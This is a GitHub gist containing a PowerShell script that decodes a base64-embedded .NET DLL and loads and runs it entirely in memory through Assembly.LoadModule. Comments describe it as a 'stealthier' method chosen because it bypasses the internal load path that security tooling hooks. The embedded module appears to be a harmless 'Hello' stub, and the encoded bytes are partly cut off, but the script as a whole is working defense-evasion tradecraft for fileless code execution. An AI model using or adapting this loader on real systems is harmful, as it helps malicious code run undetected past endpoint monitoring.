Skip to content

Instantly share code, notes, and snippets.

@dezhub
Forked from mattifestation/LoadInMemoryModule.ps1
Created April 2, 2018 14:05
Show Gist options
  • Save dezhub/5a368cced0bc9871d68b216667923f7d to your computer and use it in GitHub Desktop.
Save dezhub/5a368cced0bc9871d68b216667923f7d to your computer and use it in GitHub Desktop.
A stealthier method of loading a .NET PE in memory - via the Assembly.LoadModule method
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
$TypeBuilder.CreateType()
$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAARAMAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
# Calling LoadModule doesn't pass through the internal nLoad method like Assembly/AppDomain.Load does. :)
$HelloDllModule = [TempClass].Assembly.LoadModule('hello.dll', $HelloDllBytes)
# Invoke the Hello method within the hello.dll module that was loaded in memory
$HelloDllModule.GetTypes()[0].GetMethod('Hello').Invoke($null, @())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment